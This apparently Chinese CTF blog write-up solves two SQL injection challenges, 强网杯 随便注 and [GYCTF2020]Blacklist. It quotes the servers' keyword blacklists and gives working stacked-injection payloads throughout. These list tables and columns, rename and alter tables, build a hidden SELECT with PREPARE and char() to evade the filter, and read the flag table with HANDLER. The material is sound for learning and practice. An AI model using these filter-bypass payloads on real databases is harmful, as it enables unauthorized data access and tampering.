[GYCTF2020]Blacklist && 强网杯随便注

强网杯随便注

先测试
在这里插入图片描述
字符型

1' or '1'='1

在这里插入图片描述

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

过滤了select
先看表,看列
堆叠注入
payload:

1';show tables;%23

在这里插入图片描述

1';show columns from `1919810931114514`;%23

在这里插入图片描述
flag在这里
再看看另一个表

1';show columns from `words`; %23

可以发现这个表是可以回显内容的
在这里插入图片描述
我们可以用函数将1919810931114514表改成words表,来让他自动回显
改名

RENAME TABLE `words` TO `words1`;
RENAME TABLE `1919810931114514` TO `words`;

将新words表的flag改为id避免开始无法查询

ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;

最后查看新words表

columns from words;

这是使用alert 和 rename函数

接下来还有
预处理语句使用方法

PREPARE name from '[my sql sequece]';   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL语句
SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE name from @sql;   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

由于过滤了select
可以用chr()
最后payload:

1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;#

[GYCTF2020]Blacklist

由强网杯随便注改编而来
步骤类似
先测试
在这里插入图片描述
字符型注入
再输入

1' or '1'='1

在这里插入图片描述
联合注入
返回了过滤内容

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

堆叠注入
payload:
看表

1';show tables;#

在这里插入图片描述
看列
payload

1';show columns from `FlagHere`; %23

在这里插入图片描述
由于过滤了prepare和alert
我们可以用
HANDLER方法
官方文档
payload:

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值